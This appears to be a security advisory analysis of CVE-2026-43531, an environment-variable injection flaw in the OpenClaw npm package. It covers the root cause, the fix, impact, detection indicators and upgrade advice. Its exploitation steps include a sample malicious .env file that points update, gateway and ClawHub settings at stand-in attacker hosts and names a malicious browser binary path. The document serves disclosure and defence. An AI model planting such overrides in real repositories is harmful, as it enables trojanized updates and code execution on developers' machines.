CVE-2026-43531: 
OpenClaw (formerly Moltbot or Clawdbot) vulnerability analysis and mitigation

CVE-2026-43531 is an environment variable injection vulnerability in OpenClaw (npm package) affecting all versions before 2026.4.9. A malicious workspace .env file can set OpenClaw runtime-control variables that influence update sources, gateway URLs, ClawHub resolution, and browser executable paths, enabling compromise of application behavior. The vulnerability was published on May 5, 2026, and assigned a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 7.0 (High) (GitHub Advisory, VulnCheck). The vulnerability was reported by @zsxsoft with sponsorship from @KeenSecurityLab (GitHub Advisory).

The root cause is classified as CWE-15 (External Control of System or Configuration Setting): OpenClaw's workspace .env file loading mechanism did not adequately block runtime-control environment variable keys, allowing them to be set by untrusted repository-local dotenv files. Specifically, variables such as OPENCLAW_UPDATE_PACKAGE_SPEC, OPENCLAW_GATEWAY_URL, OPENCLAW_CLAWHUB_URL, OPENCLAW_BROWSER_EXECUTABLE_PATH, PLAYWRIGHT_CHROMIUM_EXECUTABLE_PATH, and entire key families prefixed with OPENCLAW_SKIP_, OPENCLAW_DISABLE_, CLAWHUB_, and OPENCLAW_UPDATE_ were not blocked prior to the fix (GitHub Commit). The fix (PR #62660) expands the blocklist in src/infra/dotenv.ts to include these runtime-control keys and key families, preventing workspace .env files from overriding them (GitHub Commit). Exploitation requires an attacker to place or modify a .env file in a workspace directory that a victim opens with OpenClaw.

An authenticated user or attacker with write access to a workspace directory can inject environment variables to redirect OpenClaw's update mechanism to a malicious server (supply chain attack), alter gateway routing, modify ClawHub endpoint resolution, or hijack the browser executable path to achieve arbitrary code execution (GitHub Advisory). The vulnerability has high confidentiality, integrity, and availability impact, as a compromised update source or browser executable path can lead to full application compromise and potential lateral movement within the developer's environment (VulnCheck). This is particularly dangerous in shared or cloned repository scenarios where a malicious actor can embed a crafted .env file in a project.

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (VulnCheck). The EPSS score is approximately 0.012% (0.000120), indicating a very low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low privileges (write access to a workspace .env file) and passive user interaction (a victim must open the workspace with OpenClaw), limiting the attack surface primarily to supply chain or social engineering scenarios.

1. Prepare malicious workspace: Create or modify a .env file in a workspace directory (e.g., a Git repository) to include runtime-control variable overrides, such as:

   OPENCLAW_UPDATE_PACKAGE_SPEC=https://malicious.example.com/openclaw-update
   OPENCLAW_BROWSER_EXECUTABLE_PATH=/path/to/malicious/binary
   OPENCLAW_GATEWAY_URL=https://attacker-gateway.example.com
   OPENCLAW_CLAWHUB_URL=https://attacker-clawhub.example.com

2. Deliver the workspace to the victim: Distribute the malicious repository (e.g., via GitHub, a shared project, or social engineering) to a user running a vulnerable version of OpenClaw (< 2026.4.9).
3. Victim opens the workspace: When the victim opens the workspace in OpenClaw, the application loads the .env file and applies the injected environment variables to its runtime configuration.
4. Achieve objective: Depending on the injected variables, the attacker can redirect update checks to a malicious server to deliver a trojanized update, hijack the browser executable to run arbitrary code, or redirect gateway/ClawHub traffic to an attacker-controlled endpoint for credential harvesting or further compromise (GitHub Advisory, GitHub Commit).

• File System: Presence of a .env file in a workspace/repository directory containing keys such as OPENCLAW_UPDATE_PACKAGE_SPEC, OPENCLAW_GATEWAY_URL, OPENCLAW_CLAWHUB_URL, OPENCLAW_BROWSER_EXECUTABLE_PATH, PLAYWRIGHT_CHROMIUM_EXECUTABLE_PATH, or any CLAWHUB_* / OPENCLAW_SKIP_* / OPENCLAW_DISABLE_* / OPENCLAW_UPDATE_* prefixed variables with unexpected or external values.
• Network: Outbound connections from the OpenClaw process to unexpected or external update servers, gateway URLs, or ClawHub endpoints not matching the organization's known infrastructure.
• Process: OpenClaw spawning an unexpected browser or executable process from a non-standard path (e.g., a path specified by OPENCLAW_BROWSER_EXECUTABLE_PATH or BROWSER_EXECUTABLE_PATH pointing outside the normal installation directory).
• Logs: OpenClaw application logs showing update checks or gateway connections to unfamiliar or external URLs; environment variable values for runtime-control keys differing from expected defaults at application startup.

Users should upgrade OpenClaw to version 2026.4.9 or later (the latest npm release, openclaw@2026.4.14, also includes the fix) (GitHub Advisory). As a workaround prior to patching, restrict file system permissions on workspace directories to prevent unauthorized modification of .env files, and implement file integrity monitoring on .env files to detect tampering. Additionally, consider auditing any workspace .env files for unexpected OpenClaw runtime-control variable entries before opening untrusted repositories.

The vulnerability was credited to researcher @zsxsoft with sponsorship from @KeenSecurityLab, indicating coordinated disclosure with security research backing (GitHub Advisory). No significant broader media coverage or notable community commentary beyond standard CVE aggregator coverage has been identified at this time.